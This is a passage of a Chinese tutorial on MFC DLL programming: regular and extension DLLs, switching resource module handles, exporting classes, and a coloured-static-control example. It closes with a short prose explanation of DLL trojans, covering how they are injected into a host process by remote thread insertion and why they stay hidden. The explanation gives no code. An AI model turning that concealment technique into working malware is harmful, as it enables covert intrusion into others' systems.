// //TODO: 如果此 DLL 相對於 MFC DLL 是動態鏈接的, // 則從此 DLL 導出的任何調入 // MFC 的函數必須將 AFX_MANAGE_STATE 宏添加到 // 該函數的最前面。 // // 例如: // // extern "C" BOOL PASCAL EXPORT ExportedFunction() // { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // // 此處為普通函數體 // } // // 此宏先於任何 MFC 調用 // 出現在每個函數中十分重要。這意味着 // 它必須作為函數中的第一個語句 // 出現,甚至先於所有對象變量聲明, // 這是因為它們的構造函數可能生成 MFC // DLL 調用。 // // 有關其他詳細信息, // 請參閱 MFC 技術說明 33 和 58。 //
// CRegDllApp
BEGIN_MESSAGE_MAP(CRegDllApp, CWinApp) END_MESSAGE_MAP()
// CRegDllApp 構造
CRegDllApp::CRegDllApp() { // TODO: 在此處添加構造代碼, // 將所有重要的初始化放置在 InitInstance 中 }
// 唯一的一個 CRegDllApp 對象
CRegDllApp theApp;
// CRegDllApp 初始化
BOOL CRegDllApp::InitInstance() { CWinApp::InitInstance();
return TRUE; } |
分析:
在這一組文件中定義了一個繼承自CWinApp的類CRegularDllApp,並同時定義了其的一個實例theApp。乍一看,您會以為它是一個MFC應用程序,因為MFC應用程序也包含這樣的在工程名后添加“App”組成類名的類(並繼承自CWinApp類),也定義了這個類的一個全局實例theApp。
我們知道,在MFC應用程序中CWinApp取代了SDK程序中WinMain的地位,SDK程序WinMain所完成的工作由CWinApp的三個函數完成:
virtualBOOLInitApplication( );
virtualBOOLInitInstance( );
virtualBOOLRun(); //傳說中MFC程序的“活水源頭”
但是MFC規則DLL並不是MFC應用程序,它所繼承自CWinApp的類不包含消息循環。這是因為,MFC規則DLL不包含CWinApp::Run機制,主消息泵仍然由應用程序擁有。如果DLL生成無模式對話框或有自己的主框架窗口,則應用程序的主消息泵必須調用從DLL導出的函數來調用PreTranslateMessage成員函數。另外,MFC規則DLL與MFC應用程序中一樣,需要將所有DLL中元素的初始化放到InitInstance 成員函數中
第二組文件自定義對話框類聲明及實現
#pragma once
// CDllDialog 對話框
class CDllDialog : public CDialog { DECLARE_DYNAMIC(CDllDialog)
public: CDllDialog(CWnd* pParent = NULL); // 標准構造函數 virtual ~CDllDialog();
// 對話框數據 enum { IDD = IDD_DIALOG1 };
protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP() public: afx_msg void OnBnClickedButton1(); }; |
// DllDialog.cpp : 實現文件 // #include "stdafx.h" #include "RegDll.h" #include "DllDlg.h"
// CDllDialog 對話框
IMPLEMENT_DYNAMIC(CDllDialog, CDialog)
CDllDialog::CDllDialog(CWnd* pParent /*=NULL*/) : CDialog(CDllDialog::IDD, pParent) { }
CDllDialog::~CDllDialog() { }
void CDllDialog::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); }
BEGIN_MESSAGE_MAP(CDllDialog, CDialog) ON_BN_CLICKED(IDC_BUTTON1, &CDllDialog::OnBnClickedButton1) END_MESSAGE_MAP()
// CDllDialog 消息處理程序
void CDllDialog::OnBnClickedButton1() { // TODO: 在此添加控件通知處理程序代碼 MessageBox("Hello,您好","提示信息"); } |
分析:
這一部分的編程與一般的應用程序根本沒有什么不同,我們照樣可以利用MFC類向導來自動為對話框上的控件添加事件。MFC類向導照樣會生成類似ON_BN_CLICKED (IDC_ BUTTON1, OnBnClickedButton1) 的消息映射宏。
第三組文件DLL中的資源文件
//{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by RegDll.rc // #define IDD_DIALOG1 4000 #define IDC_BUTTON1 4000
// Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 4001 #define _APS_NEXT_COMMAND_VALUE 32771 #define _APS_NEXT_CONTROL_VALUE 4001 #define _APS_NEXT_SYMED_VALUE 4000 #endif #endif |
分析:
在MFC規則DLL中使用資源也與在MFC應用程序中使用資源沒有什么不同,我們照樣可以用VisualC++的資源編輯工具進行資源的添加、刪除和屬性的更改。
第四組文件MFC規則DLL接口函數
#ifndef _LIB_H_ #define _LIB_H_
#ifdef REGDLL_EXPORTS #define LIB_API extern "C" __declspec(dllexport) #else #define LIB_API extern "C" __declspec(dllimport) #endif
LIB_API void ShowDlg(void);
#endif /*_LIB_H_*/ |
#include"StdAfx.h" #include "resource.h" #include"DllDialog.h" #include "lib.h"
LIB_API void ShowDlg(void) { CDllDialog dllDlg; dllDlg.DoModal(); } |
分析:
這個接口並不使用MFC,但是在其中卻可以調用MFC擴展類CDllDialog的函數,這體現了“規則”的概類。
與非MFC DLL完全相同,我們可以使用__declspec(dllexport)聲明或在.def 中引出的方式導出MFC規則DLL中的接口。
3.5 MFC規則DLL的調用
在這里,新建一個“MFC應用程序”工程DllCall來調用3.4節所編寫的RegDll庫。下面21是在這個程序的對話框上點擊“Call DLL”按鈕時彈出3.2節MFC規則DLL中的對話框。
圖21 示例窗口
“Call DLL”按鈕的消息處理函數如下:
//方法一:隱式靜態調用方法 #include "../RegDll/lib.h" #pragma comment(lib,"../Debug/RegDll.lib") //…………… void CDllCallDlg::OnBnClickedButton1() { // TODO: 在此添加控件通知處理程序代碼 ShowDlg(); } |
或者:
//方法二:顯式動態調用方法 void CDllCallDlg::OnBnClickedButton1() { // TODO: 在此添加控件通知處理程序代碼 typedef void(*lpFun)(void); HINSTANCE hDll; //DLL 句柄
hDll=LoadLibrary(_T("../Debug/RegDll.dll")); if (NULL==hDll) { MessageBox(_T("DLL加載失敗")); return; }
lpFun pShowDlg=(lpFun)GetProcAddress(hDll,"ShowDlg"); if (NULL==pShowDlg) { MessageBox(_T("DLL中函數尋找失敗")); FreeLibrary(hDll); return ; }
pShowDlg();
FreeLibrary(hDll); } |
注意:在3.4節所建立的是“使用共享MFCDLL的規則DLL(D)”,其工程屬性如下圖所示,否則在調用的時候會出現失敗,原因家3.6節。
圖22 設置MFC鏈接方式
3.6共享MFC規則DLL的模塊切換
應用程序進程本身及其調用的每個DLL模塊都具有一個全局唯一的HINSTANCE句柄,它們代表了DLL或EXE模塊在進程虛擬空間中的起始地址。進程本身的模塊句柄一般為0x400000,而DLL模塊的缺省句柄為0x10000000。如果程序同時加載了多個DLL,則每個DLL模塊都會有不同的HINSTANCE。應用程序在加載DLL時對其進行了重定位。
共享MFC DLL(或MFC擴展DLL)的規則DLL涉及到HINSTANCE句柄問題,HINSTANCE句柄對於加載資源特別重要。EXE和DLL都有其自己的資源,而且這些資源的ID可能重復,應用程序需要通過資源模塊的切換來找到正確的資源。如果應用程序需要來自於DLL的資源,就應將資源模塊句柄指定為DLL的模塊句柄;如果需要EXE文件中包含的資源,就應將資源模塊句柄指定為EXE的模塊句柄。
這次我們創建一個動態鏈接到MFCDLL的規則DLL,在其中包含如圖23的對話框。
圖23 DLL中窗口
另外,在與這個DLL相同的工作區中生成一個基於對話框的MFC程序,其對話框與圖23完全一樣。但是在此工程中我們另外添加了一個如圖14的對話框。
圖24 EXE中窗口
圖23和圖24中的對話框除了caption不同(以示區別)以外,其它的都相同。尤其值得特別注意,在DLL和EXE中我們對圖23和圖24的對話框使用了相同的資源ID=2000,在DLL和EXE工程的resource.h 中分別有如下的宏:
//DLL中對話框的ID
#define IDD_DLL_DIALOG 2000
//EXE中對話框的ID
#define IDD_EXE_DIALOG 2000
與3.5節靜態鏈接MFC DLL的規則DLL相同,我們還是在規則DLL中定義接口函數ShowDlg,原型如下:
圖25 代碼
而為應用工程主對話框的“Call DLL”的單擊事件添加如下消息處理函數:
圖26 調用代碼
我們以為單擊“調用DLL”會彈出如圖23所示DLL中的對話框,可是可怕的事情發生
了,我們看到是圖24所示EXE中的對話框!
產生這個問題的根源在於應用程序與MFC規則DLL共享MFC DLL(或MFC擴展DLL)的程序總是默認使用EXE的資源,我們必須進行資源模塊句柄的切換,其實現方法有三種。
方法一:在DLL接口函數中使用:AFX_MANAGE_STATE(AfxGetStaticModuleState());
我們將DLL中的接口函數ShowDlg改為:
voidShowDlg(void)
{
//方法1:在函數開始處變更,在函數結束時恢復
//將AFX_MANAGE_STATE(AfxGetStaticModuleState());作為接口函數的第一
//條語句進行模塊狀態切換
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CDialogdlg(IDD_DLL_DIALOG);//打開ID為2000的對話框
dlg.DoModal();
}
這次我們再點擊EXE程序中的“Call DLL”按鈕,彈出的是DLL中的如圖13的對話框!彈出了正確的對話框資源。
AfxGetStaticModuleState是一個函數,其原型為:
AFX_MODULE_STATE*AFXAPIAfxGetStaticModuleState();
該函數的功能是在棧上(這意味着其作用域是局部的)創建一個AFX_MODULE_STATE類(模塊全局數據也就是模塊狀態)的實例,對其進行設置,並將其指針pModuleState返回。AFX_MODULE_STATE類的原型如下:
//AFX_MODULE_STATE(globaldataforamodule)
classAFX_MODULE_STATE: public CNoTrackObject
{
public:
#ifdef_AFXDLL
AFX_MODULE_STATE(BOOL bDLL,WNDPROCpfnAfxWndProc,DWORD dwVersion);
AFX_MODULE_STATE(BOOL bDLL,WNDPROCpfnAfxWndProc,DWORD dwVersion,BOOL bSystem);
#else
AFX_MODULE_STATE(BOOLbDLL);
#endif
~AFX_MODULE_STATE();
CWinApp*m_pCurrentWinApp;
HINSTANCEm_hCurrentInstanceHandle;
HINSTANCEm_hCurrentResourceHandle;
LPCTSTRm_lpszCurrentAppName;
…//省略后面的部分
}
AFX_MODULE_STATE類利用其構造函數和析構函數進行存儲模塊狀態現場及恢復現場的工作,類似匯編中call指令對pc指針和sp寄存器的保存與恢復、中斷服務程序的中斷現場壓棧與恢復以及操作系統線程調度的任務控制塊保存與恢復。
AFX_MANAGE_STATE是一個宏,其原型為:
AFX_MANAGE_STATE(AFX_MODULE_STATE*pModuleState)
該宏用於將pModuleState設置為當前的有效模塊狀態。當離開該宏的作用域時(也就離開了pModuleState所指向棧上對象的作用域),先前的模塊狀態將由AFX_MODULE_STATE的析構函數恢復。
方法二:在DLL接口函數中使用
AfxGetResourceHandle();
AfxSetResourceHandle(HINSTANCExxx);
AfxGetResourceHandle用於獲取當前資源模塊句柄,而AfxSetResourceHandle則用於設置程序目前要使用的資源模塊句柄。我們將DLL中的接口函數ShowDlg改為:
extern CRegDllApp theApp; //需要聲明theApp 外部全局變量
void ShowDlg(void)
{
//方法2的狀態變更
HINSTANCE save_hInstance=AfxGetResourceHandle();
AfxSetResourceHandle(theApp.m_hInstance);
CDialogdlg(IDD_DLL_DIALOG);//打開ID為2000的對話框
dlg.DoModal();
//方法2的狀態還原
AfxSetResourceHandle(save_hInstance);
}
通過AfxGetResourceHandle和AfxSetResourceHandle的合理變更,我們能夠靈活地設置程序的資源模塊句柄,而方法一則只能在DLL接口函數退出的時候才會恢復模塊句柄。方法二則不同,如果將ShowDlg改為:
extern CRegDllApp theApp; //需要聲明theApp 外部全局變量
void ShowDlg(void)
{
//方法2的狀態變更
HINSTANCE save_hInstance=AfxGetResourceHandle();
AfxSetResourceHandle(theApp.m_hInstance);
CDialog dlg(IDD_DLL_DIALOG);//打開ID為2000的對話框
dlg.DoModal();
//方法2的狀態還原
AfxSetResourceHandle(save_hInstance);
//使用方法2后在此處再進行操作針對的將是應用程序的資源
CDialog dlg1(IDD_DLL_DIALOG);//打開ID為2000的對話框
dlg1.DoModal();
}
在應用程序主對話框的“調用DLL”按鈕上點擊,將看到兩個對話框,相繼為DLL中的對話框(圖13)和EXE中的對話框(圖14)。
方法三由應用程序自身切換
資源模塊的切換除了可以由DLL接口函數完成以外,由應用程序自身也能完成。現在我們把DLL中的接口函數改為最簡單的:
void ShowDlg(void)
{
CDialogdlg(IDD_DLL_DIALOG); //打開ID為2000的對話框
dlg.DoModal();
}
而將應用程序的OnBnClickedButton1函數改為:
voidCDllCallDlg::OnBnClickedButton1()
{
//方法3:由應用程序本身進行狀態切換
//獲取EXE模塊句柄
HINSTANCE exe_hInstance= GetModuleHandle(NULL);
//或者HINSTANCE exe_hInstance=AfxGetResourceHandle();
//獲取DLL模塊句柄
HINSTANCE dll_hInstance=GetModuleHandle("RegDll.dll");
AfxSetResourceHandle(dll_hInstance);//切換狀態
ShowDlg(); //此時顯示的是DLL的對話框
AfxSetResourceHandle(exe_hInstance);//恢復狀態
//資源模塊恢復后再調用ShowDlg
ShowDlg(); //此時顯示的是EXE的對話框
}
方法三中的Win32函數GetModuleHandle可以根據DLL的文件名獲取DLL的模塊句柄。如果需要得到EXE模塊的句柄,則應調用帶有Null參數的GetModuleHandle。方法三與方法二的不同在於方法三是在應用程序中利用AfxGetResourceHandle和AfxSetResourceHandle進行資源模塊句柄切換的。同樣地,在應用程序主對話框的“Call DLL”按鈕上點擊,也將看到兩個對話框,相繼為DLL中的對話框(圖13)和EXE中的對話框(圖14)。
4、MFC擴展DLL編寫
4.1 MFC擴展DLL概述
MFC擴展DLL與MFC規則DLL的相同點在於在兩種DLL的內部都可以使用MFC類庫,其不同點在於MFC擴展DLL與應用程序的接口可以是MFC的。MFC擴展DLL的含義在於它是MFC的擴展,其主要功能是實現從現有MFC庫類中派生出可重用的類。MFC擴展DLL使用MFC動態鏈接庫版本,因此只有用共享MFC版本生成的MFC可執行文件(應用程序或規則DLL)才能使用MFC擴展DLL。
從前文可知,MFC規則DLL被MFC向導自動添加了一個CWinApp的對象,而MFC擴展DLL則不包含該對象,它只是被自動添加了DllMain函數。對於MFC擴展DLL,開發人員必須在DLL的DllMain函數中添加初始化和結束代碼。
從下表我們可以看出三種DLL對DllMain入口函數的不同處理方式:
DLL類型 |
入口函數 |
非MFCDLL |
編程者提供DllMain函數 |
MFC規則DLL |
CWinApp對象的InitInstance 和ExitInstance |
MFC擴展DLL |
MFCDLL向導生成DllMain函數 |
對於MFC擴展DLL,系統會自動在工程中添加如下表所示的宏,這些宏為DLL和應用程序的編寫提供了方便。像AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA這樣的宏,在DLL和應用程序中將具有不同的定義,這取決於_AFXEXT宏是否被定義。這使得在DLL和應用程序中,使用統一的一個宏就可以表示出輸出和輸入的不同意思。在DLL中,表示輸出(因為_AFXEXT被定義,通常是在編譯器的標識參數中指定/D_AFXEXT);在應用程序中,則表示輸入(_AFXEXT沒有定義)。
宏 |
定義 |
AFX_CLASS_IMPORT |
__declspec(dllimport) |
AFX_API_IMPORT |
__declspec(dllimport) |
AFX_DATA_IMPORT |
__declspec(dllimport) |
AFX_CLASS_EXPORT |
__declspec(dllexport) |
AFX_API_EXPORT |
__declspec(dllexport) |
AFX_DATA_EXPORT |
__declspec(dllexport) |
AFX_EXT_CLASS |
#ifdef_AFXEXT AFX_CLASS_EXPORT #else AFX_CLASS_IMPORT |
AFX_EXT_API |
#ifdef_AFXEXT AFX_API_EXPORT #else AFX_API_IMPORT |
AFX_EXT_DATA |
#ifdef_AFXEXT AFX_DATA_EXPORT #else AFX_DATA_IMPORT |
4.2 MFC擴展DLL導出MFC派生類
在這個例子中,我們將產生一個名為“ExtDll”的“MFC擴展DLL”工程,在這個DLL中導出一個對話框類,這個對話框類派生自MFC類CDialog。
圖27 建立MFC擴展DLL
使用MFC向導生成MFC擴展DLL時,系統會自動添加如下代碼:
static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };
extern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { // 如果使用 lpReserved,請將此移除 UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH) { TRACE0("ExtDll.DLL 正在初始化!\n");
// 擴展 DLL 一次性初始化 if (!AfxInitExtensionModule(ExtDllDLL, hInstance)) return 0;
// 將此 DLL 插入到資源鏈中 // 注意: 如果此擴展 DLL 由 // MFC 規則 DLL (如 ActiveX 控件)隱式鏈接到, // 而不是由 MFC 應用程序鏈接到,則需要 // 將此行從 DllMain 中移除並將其放置在一個 // 從此擴展 DLL 導出的單獨的函數中。使用此擴展 DLL 的 // 規則 DLL 然后應顯式 // 調用該函數以初始化此擴展 DLL。否則, // CDynLinkLibrary 對象不會附加到 // 規則 DLL 的資源鏈,並將導致嚴重的 // 問題。
new CDynLinkLibrary(ExtDllDLL); } else if (dwReason == DLL_PROCESS_DETACH) { TRACE0("ExtDll.DLL 正在終止!\n");
// 在調用析構函數之前終止該庫 AfxTermExtensionModule(ExtDllDLL); } return 1; // 確定 } |
我們需要對這一段代碼進行解讀:
(1)上述代碼完成MFC擴展DLL的初始化和終止處理;
(2)初始化期間所創建的CDynLinkLibrary對象使MFC擴展DLL可以將DLL中的CRuntimeClass對象或資源導出到應用程序;
(3)AfxInitExtensionModule函數捕獲模塊的CRuntimeClass結構和在創建CDynLinkLibrary對象時使用的對象工廠(COleObjectFactory對象);
(4)AfxTermExtensionModule函數使MFC得以在每個進程與擴展DLL分離時(進程退出或使用AfxFreeLibrary卸載DLL時)清除擴展DLL;
(5)第一條語句static AFX_EXTENSION_MODULEExtDllDLL={NULL,NULL};
定義了一個AFX_EXTENSION_MODULE類的靜態全局對象,
AFX_EXTENSION_MODULE的定義如下:
struct AFX_EXTENSION_MODULE
{
BOOL bInitialized;
HMODULE hModule;
HMODULE hResource;
CRuntimeClass* pFirstSharedClass;
COleObjectFactory* pFirstSharedFactory;
};
由AFX_EXTENSION_MODULE的定義我們可以更好的理解(2)、(3)、(4)點。
在資源編輯器中添加一個對話框,並使用MFC類向導為其添加一個對應的類CExtDialog,系統自動添加了ExtDialog.h和ExtDialog.cpp兩個頭文件。修改ExtDialog.h中CExtDialog類的聲明為:
class AFX_EXT_CLASSCExtDialog: public CDialog
{
//……………………………………..
}
這其中最主要的改變是我們在classAFX_EXT_CLASSCExtDialog語句中添加了“AFX_EXT_CLASS”宏,則使得DLL中的CExtDialog類被導出。
4.3 MFC擴展DLL的調用
4.3.1 隱式靜態調用
我們在6.2工程所在的工作區中添加一個CallDll工程,用於演示MFC擴展DLL的加載。在該工程中添加一個如圖16所示的對話框,這個對話框上包括一個“Call DLL”按鈕。
圖28 窗口及其調用代碼
為提供給用戶隱式調用(MFC擴展DLL一般使用隱式加載,具體原因見下節),MFC擴展DLL需要提供三個文件:
(1)描述DLL中擴展類的頭文件;
(2)與動態鏈接庫對應的.LIB文件;
(3)動態鏈接庫.DLL 文件本身。
有了這三個文件,應用程序的開發者才可充分利用MFC擴展DLL。
4.3.2 顯式動態調用
顯示加載MFC擴展DLL應使用MFC全局函數AfxLoadLibrary而不是WIN32API中的LoadLibrary。AfxLoadLibrary最終也調用了LoadLibrary這個API,但是在調用之前進行了線程同步的處理。
AfxLoadLibrary的函數原型與LoadLibrary完全相同,為:
HINSTANCEAFXAPI AfxLoadLibrary(LPCTSTR lpszModuleName );
與之相對應的是,MFC應用程序應使用AfxFreeLibrary而非FreeLibrary卸載MFC擴展DLL。AfxFreeLibrary的函數原型也與FreeLibrary完全相同,為:
BOOLAFXAPI AfxFreeLibrary(HINSTANCE hInstLib);
如果我們把上例中的“調用DLL”按鈕單擊事件的消息處理函數改為:
圖29 調用代碼
則工程會出現link 錯誤:
1>------ 已啟動生成: 項目: CallDll, 配置:Debug Win32 ------
1>正在鏈接...
1>CallDllDlg.obj : error LNK2019: 無法解析的外部符號"__declspec(dllimport) public: virtual __thiscallCExtDlg::~CExtDlg(void)"(__imp_??1CExtDlg@@UAE@XZ),該符號在函數"public: void__thiscall CCallDllDlg::OnBnClickedButton1(void)"(?OnBnClickedButton1@CCallDllDlg@@QAEXXZ) 中被引用
1>CallDllDlg.obj : error LNK2019: 無法解析的外部符號"__declspec(dllimport) public: __thiscallCExtDlg::CExtDlg(class CWnd *)"(__imp_??0CExtDlg@@QAE@PAVCWnd@@@Z),該符號在函數"public:void __thiscall CCallDllDlg::OnBnClickedButton1(void)"(?OnBnClickedButton1@CCallDllDlg@@QAEXXZ) 中被引用
1>D:\StudyPrj\ExtDll\Debug\CallDll.exe: fatal error LNK1120: 2 個無法解析的外部命令
1>生成日志保存在“file://d:\StudyPrj\ExtDll\CallDll\Debug\BuildLog.htm”
1>CallDll - 3 個錯誤,個警告
========== 生成: 成功0 個,失敗1 個,最新0 個,跳過0 個==========
提示CExtDlg的構造函數和析構函數均無法找到!是的,對於派生MFC類的MFC擴展DLL,當我們要在應用程序中使用DLL中定義的派生類時,我們不宜使用動態加載DLL的方法。
4.4 MFC擴展DLL調用MFC擴展DLL
我們可以在MFC擴展DLL中再次使用MFC擴展DLL,但是,由於在兩個DLL中對於AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA宏的定義都是輸出,這會導致調用的時候出現問題。
我們將會在調用MFC擴展DLL的DLL中看到link錯誤:
error LNK2001:unresolved external symbol….......
因此,在調用MFC擴展DLL的MFC擴展DLL中,在包含被調用DLL的頭文件之前,需要臨時重新定義AFX_EXT_CLASS的值。下面的例子顯示了如何實現:
//臨時改變宏的含義“輸出”為“輸入”
#undefAFX_EXT_CLASS
#undefAFX_EXT_API
#undefAFX_EXT_DATA
#defineAFX_EXT_CLASSAFX_CLASS_IMPORT
#defineAFX_EXT_APIAFX_API_IMPORT
#defineAFX_EXT_DATAAFX_DATA_IMPORT
//包含被調用MFC擴展DLL的頭文件
#include"CalledDLL.h"
//恢復宏的含義為輸出
#undefAFX_EXT_CLASS
#undefAFX_EXT_API
#undefAFX_EXT_DATA
#defineAFX_EXT_CLASSAFX_CLASS_EXPORT
#defineAFX_EXT_APIAFX_API_EXPORT
#defineAFX_EXT_DATAAFX_DATA_EXPORT
4.5 MFC擴展DLL導出函數和變量
MFC擴展DLL導出函數和變量的方法也十分簡單,下面我們給出一個簡單的例子。我們在MFC向導生成的MFC擴展DLL工程中添加gobal.h和global.cpp兩個文件:
//global.h:MFC 擴展DLL導出變量和函數的聲明
extern"C"
{
int AFX_EXT_DATAtotal; //導出變量
int AFX_EXT_API add(intx,int y);//導出函數
}
//global.cpp:MFC 擴展DLL導出變量和函數定義
#include"StdAfx.h"
#include"global.h"
extern"C" int total;
int add(int x,int y)
{
total=x+y;
returntotal;
}
編寫一個簡單的控制台程序來調用這個MFC擴展DLL:
#include<iostream.h>
#include<afxver_.h> //AFX_EXT_DATA、AFX_EXT_API宏的定義在afxver_.h頭文件中
#pragma comment(lib,"ExtDll.lib")
#include"../global.h"
int main(int argc,char*argv[])
{
cout<<add(2,3)<<endl;
cout<<total;
return0;
}
令外,在Visual C++下建立MFC擴展DLL時,MFC DLL向導會自動生成.def 文件。因此,對於函數和變量,我們除了可以利用AFX_EXT_DATA、AFX_EXT_API宏導出以外,在.def文件中定義導出也是一個很好的辦法。與之相比,在.def文件中導出類卻較麻煩。通常需要從工程生成的.map 文件中獲得類的所有成員函數被C++編譯器更改過的標識符,並且在.def文件中導出這些“奇怪”的標識符。因此,MFC擴展DLL通常以AFX_EXT_CLASS宏直接聲明導出類。
4.6 MFC擴展DLL的應用
上述各小節所舉MFC擴展DLL的例子均只是為了說明某方面的問題,沒有真實地體現“MFC擴展”的內涵,譬如EXTDll中派生自CDialog的類也不具備比CDialog更強的功能。MFC擴展DLL的真實內涵體現在它提供的類雖然派生自MFC類,但是提供了比MFC類更強大的功能、更豐富的接口。下面我們來看一個具體的例子。
我們知道static控件所對應的CStatic類不具備設置背景和文本顏色的接口,這使得我們不能在對話框或其它用戶界面上自由靈活地修改static控件的顏色風格,因此我們需要一個提供了SetBackColor和SetTextColor接口的CStatic派生類CMultiColorStatic。
這個類的聲明如下:
class AFX_EXT_CLASSCMultiColorStatic : public CStatic
{
// Construction
public:
CMultiColorStatic();
virtual ~CMultiColorStatic();
// Attributes
protected:
CString m_strCaption;
COLORREF m_BackColor;
COLORREF m_TextColor;
// Operations
public:
void SetTextColor( COLORREF TextColor );
void SetBackColor( COLORREF BackColor );
void SetCaption( CString strCaption );
// Generated message map functions
protected:
afx_msg void OnPaint();
DECLARE_MESSAGE_MAP()
};
在這個類的實現文件中,我們需要為它提供WM_PAINT消息的處理函數(這是因為顏色的設置依賴於WM_PAINT消息):
BEGIN_MESSAGE_MAP(CMultiColorStatic, CStatic)
//{{AFX_MSG_MAP(CMultiColorStatic)
ON_WM_PAINT() //為這個類定義WM_PAINT消息處理函數
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
下面是這個類中的重要成員函數:
//為CMultiColorStatic類添加“設置文本顏色”接口
void CMultiColorStatic::SetTextColor( COLORREF TextColor )
{
m_TextColor = TextColor; //設置文字顏色
}
//為CMultiColorStatic類添加“設置背景顏色”接口
void CMultiColorStatic::SetBackColor( COLORREF BackColor )
{
m_BackColor = BackColor; //設置背景顏色
}
//為CMultiColorStatic類添加“設置標題”接口
void CMultiColorStatic::SetCaption( CString strCaption )
{
m_strCaption = strCaption;
}
//重畫Static,顏色和標題的設置都依賴於這個函數
void CMultiColorStatic::OnPaint()
{
CPaintDC dc(this); // device context for painting
CRect rect;
GetClientRect( &rect );
dc.SetBkColor( m_BackColor );
dc.SetBkMode( TRANSPARENT );
CFont *pFont = GetParent()->GetFont();//得到父窗體的字體
CFont *pOldFont;
pOldFont = dc.SelectObject( pFont );//選用父窗體的字體
dc.SetTextColor( m_TextColor );//設置文本顏色
dc.DrawText( m_strCaption, &rect, DT_CENTER );//文本在Static中央
dc.SelectObject( pOldFont );
}
為了驗證CMultiColorStatic類,我們制作一個基於對話框的應用程序,它包含一個如圖4-3所示的對話框。該對話框上包括一個static控件和三個按鈕,這三個按鈕可分別把static控件設置為“紅色”、“藍色”和“綠色”。
圖30 擴展的CStatic類調用演示
下面看看應如何編寫與這個對話框對應的類。
包含這種Static的對話框類的聲明如下:
#include "../MultiColorStatic.h"
#pragma comment ( lib, "ColorStatic.lib" )
// CCallDllDlg dialog
class CCallDllDlg : public CDialog
{
public:
CCallDllDlg(CWnd* pParent = NULL); // standardconstructor
enum { IDD = IDD_CALLDLL_DIALOG };
CMultiColorStatic m_colorstatic; //包含一個CMultiColorStatic的實例
protected:
virtual void DoDataExchange(CDataExchange* pDX);//DDX/DDVsupport
HICON m_hIcon;
// Generated message map functions
//{{AFX_MSG(CCallDllDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnRedButton();
afx_msg void OnBlueButton();
afx_msg void OnGreenButton();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
下面是這個類中與使用CMultiColorStatic相關的主要成員函數:
void CCallDllDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CCallDllDlg)
DDX_Control(pDX, IDC_COLOR_STATIC, m_colorstatic);
//使m_colorstatic與IDC_COLOR_STATIC控件關聯
//}}AFX_DATA_MAP
}
BOOL CCallDllDlg::OnInitDialog()
{
…
// TODO: Add extra initialization here
// 初始static控件的顯示
m_colorstatic.SetCaption("最開始為黑色");
m_colorstatic.SetTextColor(RGB(0,0,0));
return TRUE; // return TRUE unless you set the focus to acontrol
}
//設置static控件文本顏色為紅色
void CCallDllDlg::OnRedButton()
{
m_colorstatic.SetCaption( "改變為紅色");
m_colorstatic.SetTextColor( RGB( 255, 0, 0 ) );
Invalidate( TRUE ); //導致發出WM_PAINT消息
}
//設置static控件文本顏色為藍色
void CCallDllDlg::OnBlueButton()
{
m_colorstatic.SetCaption( "改變為藍色");
m_colorstatic.SetTextColor( RGB( 0, 0, 255 ) );
Invalidate( TRUE ); //導致發出WM_PAINT消息
}
//設置static控件文本顏色為綠色
void CCallDllDlg::OnGreenButton()
{
m_colorstatic.SetCaption( "改變為綠色");
m_colorstatic.SetTextColor( RGB(0,255,0) );
Invalidate( TRUE ); //導致發出WM_PAINT消息
}
至此,我們已經講解完MFC擴展DLL。
5、DLL的實際應用
動態鏈接庫DLL實現了庫的共享,體現了代碼重用的思想。我們可以把廣泛的、具有共性的、能夠多次被利用的函數和類定義在庫中。這樣,在再次使用這些函數和類的時候,就不再需要重新添加與這些函數和類相關的代碼。具有共性的問題大致有哪些呢?歸納如下:
(1)通用的算法
圖像處理、視頻音頻解碼、壓縮與解壓縮、加密與解密通常采用某些特定的算法,這些算法較固定且在這類程序中往往經常被使用。
(2)純資源DLL
我們可以從DLL中獲取資源,對於一個支持多種語言的應用程序而言,我們可以判斷操作系統的語言,並自動為應用程序加載與OS對應的語言。這是多語言支持應用程序的一般做法。
(3)通信控制DLL
串口、網口的通信控制函數如果由DLL提供則可以使應用程序輕松不少。在工業控制、modem程序甚至socket通信中,經常使用通信控制DLL。
(4)Windows模塊DLL
如Windows控制面板模塊編寫、ODBC驅動程序的編寫、ActiveX控件的編寫、COM的編寫都是使用的DLL編程。
6、DLL木馬
6.1 DLL木馬的原理
DLL木馬的實現原理是編程者在DLL中包含木馬程序代碼,隨后在目標主機中選擇特定目標進程,以某種方式強行指定該進程調用包含木馬程序的DLL,最終達到侵襲目標系統的目的。
正是DLL程序自身的特點決定了以這種形式加載木馬不僅可行,而且具有良好的隱藏性:
(1)DLL程序被映射到宿主進程的地址空間中,它能夠共享宿主進程的資源,並根據宿主進程在目標主機的級別非法訪問相應的系統資源;
(2)DLL程序沒有獨立的進程地址空間,從而可以避免在目標主機中留下“蛛絲馬跡”,達到隱蔽自身的目的。
DLL木馬實現了“真隱藏”,我們在任務管理器中看不到木馬“進程”,它完全溶進了系統的內核。與“真隱藏”對應的是“假隱藏”,“假隱藏”木馬把自己注冊成為一個服務。雖然在任務管理器中也看不到這個進程,但是“假隱藏”木馬本質上還具備獨立的進程空間。“假隱藏”只適用於Windows9x的系統,對於基於WINNT的操作系統,通過服務管理器,我們可以發現系統中注冊過的服務。DLL木馬注入其它進程的方法為遠程線程插入。
